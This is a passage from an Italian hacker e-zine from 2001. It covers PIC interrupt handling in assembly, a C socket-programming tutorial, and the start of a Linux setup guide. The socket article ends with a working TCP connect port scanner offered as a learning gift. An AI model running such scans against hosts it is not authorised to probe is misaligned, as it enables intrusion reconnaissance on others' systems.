___________PIC___________ |____________ | PRIORITA' | _ __|__ _ | ||_|ISR | | IRR|_|O-IRQ0 ALTA ||_| | L | |_|O-IRQ1 ||_| | O | |_|O-IRQ2 ||_| | G | |_|O-IRQ3 ||_| | I | |_|O-IRQ4 ||_| | C | |_|O-IRQ5 ||_| | A | |_|O-IRQ6 ||_| |_____| |_|O-IRQ7 BASSA | | | | | | | _ _ _ _|_ _ _ _ | | |_|_|_|_|_|_|_|_| | | IMR | |_________________________| REGISTRI DEL PIC ================ IRR (INTERRUPT REQUEST REGISTER) IMR (INTERRUPT MASK REGISTER) 7 6 5 4 3 2 1 0 _ _ _ _ _ _ _ _ |_|_|_|_|_|_|_|_| |___0 LINEA ABILITATA |___1 LINEA DISABILITATA ISR (IN SERVICE REGISTER) 7 6 5 4 3 2 1 0 __ __ __ __ __ __ __ __ |0 |0 |1 |0 |0 |1 |0 |0 | |__|__|__|__|__|__|__|__| | | | |____DISPOSITIVO 2 IN SERVIZIO |_____________DISPOSITIVO 5 IN SERVIZIO COME IL DISPOSITIVO SEGNALA LA RICHIESTA AL PIC ================================================ All'interno del PIC c'è un rilevatore di fronte di salita. Normalmente il segnale tra il PIC e il dispositivo che richiede l'interruzione è a livello logico alto. Quando il dispositivo vuole mandare una richiesta di interruzione al µP abbassa il segnale a livello logico basso e poi lo alza di nuovo. Questo cambiamento di livello viene rilevato dal rilevatore di fronte di salita che invia la richiesta di interruzione al PIC che provvederà ad inviarla secondo la priorità al µP. PORTE DEL PIC ============= Le porte utilizzate dal PIC sono la 20H e la 21H. Nell'inizializzazione del PIC vengono inizializzati: -TIPO corrispondente IRQ0 (nel PC-IBM è 08) -PRIORITA' Rigida o Rotazione (Nel PC-IBM è Rigida) -MODALITA' INTERRUZIONE Fronte o Livello (Nel PC-IBM è di Fronte) FRONTE ____ ____ | \ / |_____\/_____ | LIVELLO (Il livello si riabbassa quando la periferica è stata servita) ____ | | | |___| |____ | Il PIC si inizializza inviando dei comandi (Bytes) alle porte 20H e 21H. Dopo l'inizializzazione: porta 20H EOI (End Of Interrupt) porta 21H Registro IMR (Leggere o scrivere il reg. di maschera) ABILITAZIONE/DISABILITAZIONE LINEE IRQ ====================================== Un esempio può essere la disabilitazione della tastiera. ;frammento di codice in Assembler ;per disabilitare la tastiera dobbiamo porre a 1 l'IRQ1 del registro IMR MOV DX,21H IN AX,DX OR AX,00000010b OUT DX,AX Ora se viene premuto un tasto della tastiera cosa succede? Il chip della tastiera, dopo aver riconosciuto il tasto, manda un segnale al chip dell'interfaccia. Eventi: UTENTE 1)utente preme tasto CONTROLLORE 2)il controllore tastiera segnala tasto premuto all'interfaccia INTERFACCIA 3)richiede interruzione al PIC PIC 4)se IMR[1]==1 -FINE- PIC 5) 1.IRR[1]==1 (IMR[1]==0) 2.se segnale INT==0 && ISR non contiene bit a 1 di parità maggiore segnale INT=1 3.aspetta INTA CPU 6)se IF==0 Resta al 6 CPU 7)IF==1 attiva INTA aspetta il Tipo dal Bus Dati PIC 8)Tipo=Tipo di IRQ0 + Posizione più bassa del bit a 1 di IRR scrive Tipo sul Bus Dati mette a 1 il bit di ISR mette a 0 il bit di IRR CPU 9)legge Tipo salva lo stato CPU (Flags,CS,IP) IP=LeggiMemoria(0:Tipo*4) CS=LeggiMemoria(0:Tipo*4+2) IF=0 CPU 10)esegue routine ROUTINE DI RISPOSTA 11)prima della fine routine di risposta (prima di IRET) manda comando EOI al PIC MOV AL,20H ;PRIMO PIC OUT 20H,AL ;PRIMO PIC MOV AL,20H ;SECONDO PIC OUT 0A0H,AL ;SECONDO PIC PIC 12)ricevuto EOI resetta bit di ISR (nella posizione più bassa) SALUTI: NoFlyZone crew, City Hunter, CoDiE, #hackmaniaci, Master (SPP), Viviana Vicio, Delilah ^__^. ------------------------------------*END*-------------------------------------- -------------------------------------[14]-------------------------------------- ---------------------------------[CityHunter]---------------------------------- -----------------------------------[Socket]------------------------------------ Eccoci di nuovo qui!Buondì a tutti! Oggi,prima di inoltrarci nel campo dei raw, ho deciso di parlarvi un po' dei socket e delle loro caratteristiche. Innanzitutto, cos'è un socket? Un socket è un descrittore di file. Ok,ok...cos'è un descrittore di file? Un descrittore di file è un numero intero che lo identifica(identifica il socket...perdonate l'italiano). Detto in soldoni e sorvolando sulle definizioni più tecniche un socket è il mattone fondamentale per una connessione. +---------------+ |Client - Server| +---------------+ Una connessione avviene solitamente tra un Client(che richiede la connessione) e un Server(che la accetta...beh,dovrebbe;-)). Questo è il famoso modello Client-Server: il client crea il socket, gli vengono passate le info di collegamento(indirizzo,porta ecc), si connette al server e aspetta una risposta. Il server,dalla sua parte, aspetta un collegamento e, alla richiesta, decide o meno se processarla. +--------------------------+ |Creazione e carateristiche| +--------------------------+ Vediamo innanzitutto i tipi di socket che si possono usare: Stream socket(SOCK_STREAM): è il socket che provvede alla bidirezionalità e alla stabilità del collegamento. Questo tipo di socket sfrutta il TCP. Datagram socket(SOCK_DGRAM): questo al contrario non garantisce l'arrivo dei dati nè del loro ordine di arrivo. Usa infatti il protocollo UDP. Raw socket(SOCK_RAW): è il tipo usato quando è un programma stesso a costruire i pacchetti. Come vedremo sarà il più divertente da smanettare. Ma come si crea un socket? Come abbiamo detto prima un socket è un descrittore di file. Così per crearlo lo definiamo come int (ho dimenticato di dirvi che useremo il liguaggio C). Quindi useremo un modello così: int socket (int domain, int type, int protocol) Se vogliamo creare un socket con supporto TCP dovremo perciò scrivere: sock = socket (AF_INET, SOCK_STREAM, 0) precisando che dovrete aver prima definito " int sock; "(l'ho detto prima che era un int...ricordate?) Il campo domain è definito nel header . Se si sviluppano applicazioni per internet il campo del domain sarà AF_INET. I socket type sono quelli che ho definito poco sopra, SOCK_STREAM, SOCK_DGRAM e SOCK_RAW. Protocol: si spinge il socket ad usare il protocollo specificato, in quasi tutti i casi il valore è 0 in modo che sia il sistema a scegliere il protocollo miglire Ci possono essere diversi motivi per cui un socket non può essere creato. Alcuni sono: ENOBUFS (carenza di memoria) EPROTONOSUPPORT (quando si richiede un protocollo sconosciuto) EPROTOTYPE (quando si richiede un socket per il quale non c'è un protocollo supportato); +----------+ |Il Binding| +----------+ Il binding è un'operazione che viene utilizzata dal server. In cosa consiste? Consiste nell'assegnamento di una porta al socket su cui accettare connessioni. Ma quante? Non vorrete accettare un milione di connessioni no?:-) Per limitare l'accesso si usa la funzione Listen(). Per utilizzarla procediamo così: int listen(int s, int backlog); s è il socket che tenta la connessione e backlog è il max di connessioni accettabili. Ma torniamo al binding! Per Bindare un indirizzo internet dobbiamo fare: #include #include ... struct sockaddr_in sin; ... bind(s, (struct sockaddr *) &sin, sizeof (sin)); (ci torniamo meglio in seguito) Ho saltato un passaggio, ve ne siete accorti vero?;-) Prima di fare questo dobbiamo pensare a riempire la nostra bella struttura sockaddr_in! Quindi scriviamo: struct sockaddr_in *addr; ... addr = (struct sockaddr_in *) malloc(sizeof(struct sockaddr_in)); addr->sin_family = AF_INET; addr->sin_port = htons(porta); addr->sin_addr.s_addr=htonl(INADDR_ANY); Woilat (si legge vualà...non so il francese;-))) Qui ci serve solo indicare la porta su cui aspettare una connessione (ricordate che stiamo ancora parlando del lato Server!) in quanto non occorre specificare un indirizzo numerico specifico, poichè usiamo INADDR_ANY. Per associare la porta e il socket usiamo questa funzione: int bind(int sock, struct sockaddr *addr, int addrlen); sock è il socket che abbiamo creato, addr è il puntatore alla struttura inizia- lizzata poco sopra, addrlen è la sua lunghezza. E con questo finisce il binding! Passiamo alla connessione. +-----------+ |Connessione| +-----------+ Il Cliente richiede un servizio al server inizializzando una connessione al socket del server. Per fare questo il Client usa la funzione Connect(); E' una cosa simile: struct sockaddr_in server; ... connect( s, (struct sockaddr *)&server, sizeof (server)); dove server contiene le info quali indirizzo e porta con cui il client vuole stabilire una connessione. Anche connect è un int che restituisce valore 0 se tutto è ok, -1 se qualcosa è andato storto. +---------------------+ |Accettare connessioni| +---------------------+ Dopo che il server ha in ascolto un socket, è pronto ad accettare una connessione. struct sockaddr_in from; ... fromlen = sizeof (from); newsock = accept( sock, (struct sockaddr *)&from, &fromlen); Da qui vediamo molte cose: la prima,che balza subito all'occhio, è che il valore in uscita è un altro socket(newsock) collegato al client che ha richiesto la connessione. Sock è il socket bindato in precedenza. Gli altri campi sono i soliti. Normalmente accept() è un block, cioè una funzione bloccante. Con bloccante intendiamo che non ridà il controllo al programma che lo chiama fino a quando non arriva una richiesta di connessione. +---------------------+ |Trasferimento di dati| +---------------------+ Una volta stabilita la connessione vorremmo magari anche trasmettere dati, voi che dite?:-) Per fare questo si usano due funzioni o eventualmente due loro derivati: read() e write() oppure send() recv(). write(s, buf, sizeof (buf)); read(s, buf, sizeof (buf)); send(s, buf, sizeof (buf), flags); recv(s, buf, sizeof (buf), flags); s è il nostro socket, buf è la porzione di memoria in cui verranno memorizzati i caratteri da leggere o da scrivere, sizeof(buf) è il numero di caratteri da leggere o scrivere. Nelle altre due funzioni invece viene aggiunto il campo flags, che sono definite in +---------------------+ |Chiusura di un socket| +---------------------+ Ci sono due modi per chiudere un socket: close(sock); o int shutdown(int sock, int how); La prima la usiamo se il socket non ci interessa più di tanto e lo scartiamo. Il sistema comunque continuerà a cercare di trasmettere dati. Per evitarlo usiamo le maniere forti e usiamo la seconda: sock è sempre il nostro fottutissimo socket mentre how può assumere 0,1,2: 0 il socket continua a ricevere ma è chiuso in scrittura; 1 il socket continua a trasmettere ma è chiuso in ricezione; 2 il socket viene definitivamente chiuso. +----------------+ |Network funcions| +----------------+ (che figo che sono...pure in inglese) Per realizzare i nostri programmilli è necessario sapere anche le funzioni che riguardano l'interrogazione del DNS (non vorrete impararvi tutti gli indirizzi ip????) e i metodi di conversione degli indirizzi. Partiamo da questi: 1) long htonl - converte un valore da 32bit da host-byte order a network-byte order. 2) long htons - converte un valore da 16bit da " " " " " . 3) long ntohl - il contrario di 1) 4) long ntohs - il contrario di 2) Vi starete chiedendo...che cazzo sono ste cose??? Mo' spiego:-) I numeri su un computer basato Intel ecc sono organizzati in byte ordinati dal meno al più significativo. I pacchetti in Internet invece devono essere il contrario, cioè dal più al meno significativo. +---+ |DNS| +---+ Come dicevo prima...non vorrete impararvi gli ip a memoria?? Perchè non dare un po' di lavoro al nostro DNS?:-) Nulla di più facile! Usiamo questa funzione: struct hostent *gethostbyname (char *name) questa fornisce in uscita una struttura hostent che contiene l'indirizzo numerico del server contenuto in name. Diamo anche un' occhiata alla struttura hostent già che ci siamo: struct hostent { char *h_name; char **h_aliases; int h_addrtype; int h_length; char **h_addr_list; }; #define h_addr h_addr_list[0] importanti sono i due campi h_addr e h_lenght che contengono l'indirizzo e la lunghezza che cercavamo. Non sto qui a farvi un esempio perchè come regalo vi faccio un piccolo portscanner in cui sono implementate queste cose, studiatevele da lì!:-) +-----------+ |Conclusioni| +-----------+ Beh...questo è tutto...beh,non proprio! Ci sarebbero ancora diverse cose da dire come la gestione degli errori...ma non li so ancora:-) o meglio, non tanto da saperli spiegare ad altri! Prima di lasciarvi al mio programmino faccio i doverosi saluti,thx,source, fuck, ecc: Thx to NoFlyZone crew...non c'è bisogno di dire nulla:-) Saluti: Viciuz, Crashes, Quasar, Pit, XpTerminator, [Delilah], Zukky, BIGAlex, Jeyone, anetrip, wZeroCool, e tutti quelli di #noflyzone, #hack #hackmaniaci, #ondaquadra. Source: Network programming con Linux di LordFelix su Linux&c num 1. un po' di pagine web:-) Fuck: Al prof di automatica che mi fa venire un sonno atroce! Al freddo becco che mi sta uccidendo in queste ultime mattinate. +-------------------+ |Simple Port Scanner| +-------------------+ E' un banalissimo portscanner solo per tcp. Non aspettatevi grandi cose, vi serve solo per avere un'idea di come fungono i socket. Vi proporrò altre versioni, ci sto ancora giocando un po'...consideratela una v0.1 :-) --------------------taglia qui---------------------------------------------- #include #include #include /*sicuramente ve ne servono meno di header*/ #include /*ma meglio uno in più che uno in meno!:-)*/ #include #include #include #include #include #include #include #include #include main(int argn, char **argv) { struct sockaddr_in indirizzo; struct hostent *hp; int porta, sock, z; if (argn!=4) {printf("\n\t|**************************************************|"); printf("\n\t| PortScan by City Hunter V0.1 |\n"); printf("\t|++++++++++++++++++++++++++++++++++++++++++++++++++|\n"); printf("\t| %s Target |\n", argv[0]); printf("\t|**************************************************|\n\n"); exit(0); }; if((hp=gethostbyname(argv[1])) == NULL) { perror("gethostbyname())"); exit(1); } for (porta=atoi(argv[2]); porta<=atoi(argv[3]); porta++) { if ((sock=socket(AF_INET, SOCK_STREAM, 0))==-1) { perror("Socket:"); exit(1); } else { memset(&indirizzo,0,sizeof(indirizzo)); memcpy((char *)&indirizzo.sin_addr, hp->h_addr,hp->h_length); indirizzo.sin_family=AF_INET; indirizzo.sin_port=htons(porta);} if (z=connect(sock,(struct sockaddr*) &indirizzo,sizeof(indirizzo))== 0) { printf("%d TCP\n",porta); } close (sock); } } ---------------------------------taglia qui------------------------------------ In sostanza cosa fa? Chiede all'utente l'indirizzo da scannare, la porta di inizio e quella di fine. Interroga il DNS e crea il socket. Poi cosa fa? Una cosa molto semplice: crea un ciclo for dalla porta iniziale a quella finale e prova a connettersi a tutte. Se il connect() restituisce 0 la porta è aperta, se restituisce -1 è chiusa. Quando è aperta avverte l'utente. Compilata con successo con gcc -o portscanner portscanner.c Un'ultima cosa...se scannate un host che ha un firewall il progr non funge, prova a connettersi ma resta in attesa su quella porta...spero di risolvere il problema con la prossima release. Con questo è tutto, divertitevi! Mi trovate su #NoFlyZone #hack #hackmaniaci tutti sui server di azzurra! A presto! <<<<<<<<<>>>>>>> --------------------------------------*END*------------------------------------ =============================================================================== ------------------------------------------------------------------------------- --------------------------------[MISCELLANEOUS]-------------------------------- ------------------------------------------------------------------------------- =============================================================================== -------------------------------------[15]-------------------------------------- -----------------------------------[Quasar]------------------------------------ ---------------------------[Configurare e usare Linux]------------------------- __NOFLYZONE CREW__ http://www.noflyzone-crew.cjb.net/ ____ _____ _ _ _____ ____ _ _ _ ___ _ _ _ ___ __ / ___| ____| \ | | ____| _ \ / \ | | | | |_ _| \ | | | | \ \/ / | | _| _| | \| | _| | |_) | / _ \ | | | | | || \| | | | |\ / | |_| | |___| |\ | |___| _ < / ___ \| |___ | |___ | || |\ | |_| |/ \ \____|_____|_| \_|_____|_| \_\/_/ \_\_____| |_____|___|_| \_|\___//_/\_\ _____ _ _ _____ ___ ____ ___ _ _ |_ _| | | |_ _/ _ \| _ \|_ _| / \ | | | | | | | | | || | | | |_) || | / _ \ | | | | | |_| | | || |_| | _ < | | / ___ \| |___ |_| \___/ |_| \___/|_| \_\___/_/ \_\_____| -> Forgiato da QUASAR Dicembre 2001 <- ----------------------------------------------------------------------------------- Questa guida vuole offrire un semplice aiuto a chi vuole configurare e conoscere maggiormente la propria linux box DESTINATARIO : INTERMEDIO E PRINCIPIANTE :D ----------------------------------------------------------------------------------- __LA MAPPA DEL TUTORIAL__ LISTA Argomenti [1] Installare e partizionare. [2] Comandi base. [3] Come connettersi ad internet (linea analogica). [4] RPM cosa sono e come si usano. [5] LILO il BootLOADER. [6] Cosa è il MOUNT? e come si configura FSTAB? [7] XFree : Configurazione [8] Gestione dei PROCESSI [9] Motori di Ricerca e manuali on-line ----------------------------------------------------------------------------------- _ / | | | | |_ |_(_) Installare e partizionare Verra Spiegato ora come partizionare il proprio disco per LINUX Innanzitutto LINUX vede i canali ide nel seguente modo HDA -> Primary Master HDB -> Primary Slave HDC -> Secondary Master HDD -> Secondary Slave Per esempio se il vostro HD sara' sul canale primario master si chiamera' HDA ma le sue partizioni potranno chiamarsi HDA1 o HDA2 .... HDA'X' Questi vengono chiamati DEVICE, risiedono tutti nella cartella "/dev" di linux, (ricordare che '/' è la directory radice del sistema operativo equivale pressapoco a paragonarla al 'C:' di win.). Ogni device rappresenta un dispositivo, per esempio la scheda audio ha un device il lettore cd usa come gli hard disk quelli citati sopra e cosi' via. Le distribuzioni odierne richiedono minimo 1G di spazio (se includete Xwindow per la grafica e tanti aggeggini :D ), io ne consiglio almeno 2G. Ma come trovare lo spazio? Be si puo' creare una partizione con PARTITION MAGIC molto semplice e sicuro da usare, altrimenti FDISK di windows ma cio' comporta la perdita dei dati (ATTENZIONE QUINDI!) o ancora si puo' usare il programma presente durante l'installazione della propria distro ma vale il discorso di prima con FDISK. ----- FILE SYSTEM ----- bin/ etc/ lib/ mnt/ proc/ sbin/ usr/ boot/ dev/ home/ lost+found/ opt/ root/ tmp/ var/ SWAP PARTITION -> Per file di swap del sistema, va creato un spazio circa il doppio della ram di sistema ma nemmeno questo è vero diciamo che dipende tutto dall'uso che ne farete cmq le nuove versioni del kernel dal 2.4 richiedono per funzionare a pieno minimo 256MB :D poi ad esempio se avete 256MB nn è detto che dobbiate fare 512MB di swap :D / -> Partizione radice del sistema alla quale fa riferimento il sistema per il suo albero di directory /home -> Cartelle o partizioni personali degli utenti che andranno a loggarsi /boot -> Solitamente risiede l'immagine del kernel e i backup del LILO /usr -> Risiedono tutti i file binari della distro X e i MAN i Documenti tutto quasi :^) /lib -> Librerire principali di sistema /etc -> Tutti o quasi i file di configurazione /mnt -> Qui risiedono le cartelle per montare i dispositivi /bin /sbin -> Binari principali /var -> Log file e file vari /tmp -> File Temporanei ma no quelli di SWAP! /lost+found -> Cluster persi /proc -> File di sistema momentanei e non /root -> Risiedono i dati dell'amministratore di sistema il mitico ROOT ^^ ---- PARTIZIONI CONSIGLIATE ---- Principianti : - Creare una partizione di swap il doppio della ram - Una partizione di "/" radice e basta Oppure : - SWAP a piacimento - Una partizione radice "/" - Una partizione "/boot" - Una partizione di "/home" Prestare attenzione allo spazio disponibile! Creare partizioni al posto di semplici cartelle è piu' sicuro in quanto limita nel caso, la perdita di dati. ---- AVVIARE L'INSTALLAZIONE ---- Ogni DISTRO ha la sua installazione ma tutte hanno bisogno di bootare il CD. Si puo' creare un floppy di avvio con l'utility RAWRITE presente nel CD, (comando "rawrite immagine a:" es.: "rawrite D:/boot/cdrom.img a:") oppure impostare il proprio BIOS per il boot da cd rom, inserire il cd e attendere ;^D NOTA : Rawrite funziona da DOS ----------------------------------------------------------------------------------- ____ |___ \ __) | / __/ _ |_____(_) Comandi base. Ecco una serie di comandi base e loro uso per muoversi attraverso la propria shell * * * * * * * * * * * * * TARBALL FILE tar xfvz nome.tar.gz (scompatta tutto il file e crea relativa dir) SU su prende i diritti di quell'utente viene usato parecchio per prendere i diritti di root temporaneamente LOGIN login PWD mostra il percorso per arrivare nella dir dove sei gia' :) RM rm nomefile //rimuove un file rm -rf nome //rimuove forzando e tutto in modo ricorsivo dentro la dir IFCONFIG da l'ip locale della maccina MKDIR crea una directory RMDIR elimina directory MAN manuale del comando desiderato LS mostra contenuto directory corrente ls -a // mostra tutto anche file nascosti ls --color // formato a colori ls -l // li incolonna CP Copira file o directory cp -rf /directory /mnt/win/ //copia tutta la dir in /mnt/win con recursive //e force mode cp ciao.txt /mnt/win/ciccio.txt //copia e cambia nome DF pre conoscere quanto spazio si ha su disco disponibile, si usa df, df -m //mostra lo spazio in MB df -h //mostra lo spazio in GB CAT come TYPE per dos, stampa il contenuto di un intero dile per esempio quello che state leggendo PS visualizza i processi del sistema con il proprio PID ps -x //vis processi ps -ax //tutti i processi KILL uccide il pid del programma scelto ----------------------------------------------------------------------------------- _____ |___ / |_ \ ___) | |____(_) Come connettersi ad internet (linea analogica). ---------------- COME CONNETTERSI AD INTERNET ----------------- con il proprio script :) fatto in casa e senza tool grafici La seguente procedura dovrebbe funzionare con la gran parte delle distribuzioni, l'importante per creare la procedura si deve avere privilegi di root. Allora bisogna sapere il DNS del proprio server ok? Primary e Secondary. Devi conoscere su che porta è il tuo modem: Porta DOS Porta Linux · COM1 /dev/ttys0 · COM2 /dev/ttys1 · COM3 /dev/ttys2 · COM4 /dev/ttys3 Per facilitare la lettura dello script che andremo a creare, si puo' utilizzare un link simbolico /dev/modem con il comando ------> ln -s /dev/ttys(x) /dev/modem <- x=tua porta Editare ora questo FILE -> /etc/resolv.conf Inserire qui i DNS come mostrato search nameserver xxx.xxx.xxx.xxx Editare ora --> /etc/ppp/options Inserire in questo FILE : /dev/modem 57600 (velocita' porta modem) debug (tiene traccia delle operazioni fatte dal PPPD) lock (inibisce alle altre applicazioni l'utilizzo della porta quando è un uso ) crtscts (utilizza il controllo di flusso Hardware) dafaultroute ( aggiunge una route ) mtu 552 (imposta la dimensione dei pacchetti in trasmissione) mru 552 (imposta la dimensione dei pacchetti in ricezione) Editare ora --> /etc/ppp/pap-secrets # Secrets for authentication using PAP # client server secret IP addresses nomeutente * "" Creare ora uno script cioe' aprire un block notes editare e scrivere : #!/bin/bash /usr/sbin/pppd connect '/usr/sbin/chat -v "" ATDTnumero_di_telefono CONNECT "" ' u ser il_vostro_username -d -detach & (attenzione deve essere scritto tutto di s egui to su una sola riga senza mai dare Invio) Ora diamo i permessi di lettura scrittura ed esecuzione allo script chmod 744 tuoscript Per l'utente root Controllo della connessione In una nuova finestra terminale lanciate il comando: tail -f /var/log/messages fa il debug della connessione e visualizza eventuali messaggi di errore Invece ifconfig ppp0 visualizza lo stato della connessione. Chiusura connessione : edita il file /usr/local/bin/stopLIBERO (nome dello script di scollegamento ) #!/bin/sh DEVICE=ppp0 kill `cat /var/run/$DEVICE.pid` echo "$DEVICE Terminato" ---------------------------------------------------------------------------------- _ _ | || | | || |_ |__ _| |_|(_) RPM cosa sono e come si usano. ----------------------------- RPM ----------------------- Red Hat Package Manager :^) come installare gli RPM e altre cosuccie --------------------------------------------------------- consiglio un -> man rpm ehehe si lo consiglio vivamente cmq comandi base : rpm -i nomefile.rpm // installa rpm -e nomefile.rpm // cancella rpm -Uvh nomefile.rpm // upgrade rpm -i --force --nodeps // forza e non calcola le dipendenze per l'installazione rpm -e --force --nodeps // forza e non calcola le dipendenze per l'eliminazione Per altri comandi dare il comando rpm --help -*-*-*-*-*-*-*-* Leggere -*-*-*-*-*-*-*-* RPM version 4.0 Copyright (C) 1998 - Red Hat Software This may be freely redistributed under the terms of the GNU GPL Usage: --help - print this message --version - print the version of rpm being used All modes support the following arguments: --define ' ' - define macro with value --eval '+' - print the expansion of macro to stdout --pipe - send stdout to --rcfile - use instead of /etc/rpmrc and $HOME/.rpmrc --showrc - display final rpmrc and macro configuration -v - be a little more verbose -vv - be incredibly verbose (for debugging) Install, upgrade and query (with -p) allow URL's to be used in place of file names as well as the following options: --ftpproxy - hostname or IP of ftp proxy --ftpport - port number of ftp server (or proxy) --httpproxy - hostname or IP of http proxy --httpport - port number of http server (or proxy) -q, --query - query mode --dbpath - use as the directory for the database --queryformat - use as the header format (implies --info) --root - use as the top level directory Package specification options: -a, --all - query all packages -f + - query package owning -p + - query (uninstalled) package --triggeredby - query packages triggered by --whatprovides - query packages which provide capability --whatrequires - query packages which require capability Information selection options: -i, --info - display package information --changelog - display the package's change log -l - display package file list -s - show file states (implies -l) -d - list only documentation files (implies -l) -c - list only configuration files (implies -l) --dump - show all verifiable information for each file (must be used with -l, -c, or -d) --provides - list capabilities package provides -R, --requires - list package dependencies --scripts - print the various [un]install scripts --triggers - show the trigger scripts contained in the package -V, -y, --verify - verify a package installation using the same same package specification options as -q --dbpath - use as the directory for the database --root - use as the top level directory --nodeps - do not verify package dependencies --nomd5 - do not verify file md5 checksums --nofiles - do not verify file attributes --querytags - list the tags that can be used in a query format --install -i - install package --excludepath - skip files in path --relocate = - relocate files from to --badreloc - relocate files in non-relocateable package --prefix - relocate the package to , if relocatable --dbpath - use as the directory for the database --excludedocs - do not install documentation --force - short hand for --replacepkgs --replacefiles -h, --hash - print hash marks as package installs (good with -v) --allfiles - install all files, even configurations which might otherwise be skipped --ignorearch - don't verify package architecture --ignoresize - don't check disk space before installing --ignoreos - don't verify package operating system --includedocs - install documentation --justdb - update the database, but do not modify the filesystem --nodeps - do not verify package dependencies --noorder - do not reorder package installation to satisfy dependencies --noscripts - don't execute any installation scripts --notriggers - don't execute any scripts triggered by this package --percent - print percentages as package installs --replacefiles - install even if the package replaces installed files --replacepkgs - reinstall if the package is already present --root - use as the top level directory --test - don't install, but tell if it would work or not --upgrade -U - upgrade package (same options as --install, plus) --oldpackage - upgrade to an old version of the package (--force on upgrades does this automatically) --erase -e - erase (uninstall) package --allmatches - remove all packages which match (normally an error is generated if specified multiple packages) --dbpath - use as the directory for the database --justdb - update the database, but do not modify the filesystem --nodeps - do not verify package dependencies --noorder - do not reorder package installation to satisfy dependencies --noscripts - do not execute any package specific scripts --notriggers - don't execute any scripts triggered by this package --root - use as the top level directory -b -t - build package, where is one of: p - prep (unpack sources and apply patches) l - list check (do some cursory checks on %files) c - compile (prep and compile) i - install (prep, compile, install) b - binary package (prep, compile, install, package) a - bin/src package (prep, compile, install, package) --short-circuit - skip straight to specified stage (only for c,i) --clean - remove build tree when done --rmsource - remove sources when done --rmspec - remove spec file when done --sign - generate PGP/GPG signature --buildroot - use as the build root --target=+ - build the packages for the build targets platform1...platformN. --nobuild - do not execute any stages --timecheck - set the time check to seconds (0 disables) --rebuild - install source package, build binary package and remove spec file, sources, patches, and icons. --recompile - like --rebuild, but don't build any package --resign + - sign a package (discard current signature) --addsign + - add a signature to a package --checksig + -K + - verify package signature --nopgp - skip any PGP signatures --nogpg - skip any GPG signatures --nomd5 - skip any MD5 signatures --initdb - make sure a valid database exists --rebuilddb - rebuild database from existing database --dbpath - use as the directory for the database --root - use as the top level directory --setperms - set the file permissions to those in the package database using the same package specification options as -q --setugids - set the file owner and group to those in the package database using the same package specification options as -q ----------------------------------------------------------------------------------- ____ | ___| |___ \ ___) | |____(_) LILO il BootLOADER. -------------- LILO come cofigurarlo --------------- installarlo disinstallarlo! LILO -> LInux LOader è un programma per la gestione di piu' sistemi operativi esso puo' risidere sia nell' MBR che in un floppy (per delle prove ad esempio) ora vado a spiegare come si configura e si installa Ora vi presento un esempio di lilo.conf presente nella seguente dir di tutte le distro ------> /etc/lilo.conf <-------- --------------------- boot=/dev/hda # indica dove va installato lilo, in questo caso # MBR del mio primo hd. si puo' metter anche fd0 # cioè floppy map=/boot/map # troppo presto per capire :^) install=/boot/boot.b # copia il proprio mbr e in caso di disinstalla= # zione di lilo (lilo -u) vga=5 # mettere vga=ask per scegliere il proprio VGA # da console. default=windows # label da caricare di default keytable=/boot/it-latin1.klt #tastiera lba32 # abilita l'uso dell'lba32 prompt timeout=30 # 3 secondi prima della scadenza del prompt message=/boot/message # messaggio al boot menu-scheme=wb:bw:wb:bw # colore lilo grafico image=/boot/linux244 # immagine del kernel da karikare label=linux-244 # etichetta che si vuole dare root=/dev/hdc7 # hard disk dal quale caricare read-only # lettura only image=/usr/src/linux-2.4.4/arch/i386/boot/bzImage # altra immagine label=Failsafe other=/dev/hda1 # altri OS label=windows table=/dev/hda other=/dev/fd0 # avvio da floppy! label=floppy unsafe ---------------------------------- Ogni volta che si edita il file per aggiornare il lilo scrivere da root e da console "lilo" e "lilo -v" per il verbose mode (cioe' con tutto il resoconto delle azioni svolte dal programma) Per disinstallare il lilo digitare "lilo -u" Se invece non si disinstalla e volete a tutti i costi di nuovo l'accesso al vostro windowz allora prendete il disco di avvio di ms bootate e usate il comando da dos "fdisk /mbr" che reintrega il proprio mbr per essere bootato da win. Puo' succedere che abbiate installato il lilo in una partizione estesa (p.e. hda5) dove si trova windowz, e nemmeno con fdisk /mbr si riesca a reintegrare l'avvio di windowz in quanto quello non è l'mbr, allora no panic, bootate ed arrivate alla shell del dos e date il comando "SYS X:" dove X è l'unita dove riesede windowz (c,d,e etc) WARNING : Ogni volta che reinstallate Windowz l'mbr viene sovrascritto! Ogni volta che fate fdisk /mbr l'mbr viene sovrascritto E' molto importante che almeno abbiate il lilo su floppy e un disco di boot di linux cosi' potrete riaccedere a linux in caso di reinstallazione di windowz! ---------------------------------------------------------------------------------- __ / /_ | '_ \ | (_) | \___(_) Cosa è il MOUNT? e come si configura FSTAB?. ---- IL MOUNT DI LINUX ---- In windows ogni HD ha associata una lettera (A: B: C: D: E: F: G:) mentre in Linux ogni dispositivo ha un /dev associato, per potere averne accesso bisogna montare ognuno di questi su una directory (rivedi punto 2) HDA -> Primary Master HDB -> Primary Slave HDC -> Secondary Master HDD -> Secondary Slave Ora per montare ogni dispositivo bisogna che il file di configurazione /etf/fstab sia configurato a dovere eccone un esempio : -------------------------------------------------------------------- /dev/hdc7 / ext2 defaults 1 1 /dev/hdc5 /boot ext2 defaults 1 2 none /dev/pts devpts mode=0620 0 0 /dev/hdc8 /home ext2 defaults 1 2 /dev/scd0 /mnt/philips iso9660 owner,ro,noauto 0 0 /dev/scd1 /mnt/cdrom iso9660 noauto,owner,ro 0 1 /dev/fd0 /mnt/floppy auto noauto,owner 0 0 /dev/hda1 /mnt/c vfat auto,user,exec,dev,suid,ro 0 0 /dev/hda5 /mnt/d vfat noauto,exec,dev,user,suid,rw 0 0 none /proc proc defaults 0 0 /dev/hdc6 swap swap defaults 0 0 -------------------------------------------------------------------- Nella prima colonna si specifica il dispostivito poi il punto di "MOUNT" cioè la cartella dove montarlo successivamente il FILE SYSTEM e poi altri valori che spieghero' (1,1...0,0) Normalmente le prime 4 linee le mette la distribuzione come preconfigurazione a seconda delle partizioni create ora prendo in esempio una configurazione fatta da me: /dev/hda1 /mnt/c vfat auto,user,exec,dev,suid,ro 0 0 ^Device ^ Mount ^ FS auto=Monta all'avvio user=accessibile all'utente propietario ro o rw = rispettivamente READ ONLY & READ WRITE Le restatnti cose le spieghero' nella prossima versione ELENCO FILE SYSTEM SUPPORTATI (da man fstab) minix a local filesystem, supporting filenames of length 14 or 30 characters. ext a local filesystem with longer filenames and larger inodes. This filesystem has been replaced by the ext2 file system, and should no longer be used. ext2 a local filesystem with longer filenames, larger inodes, and lots of other features. xiafs a local filesystem with longer filenames, larger 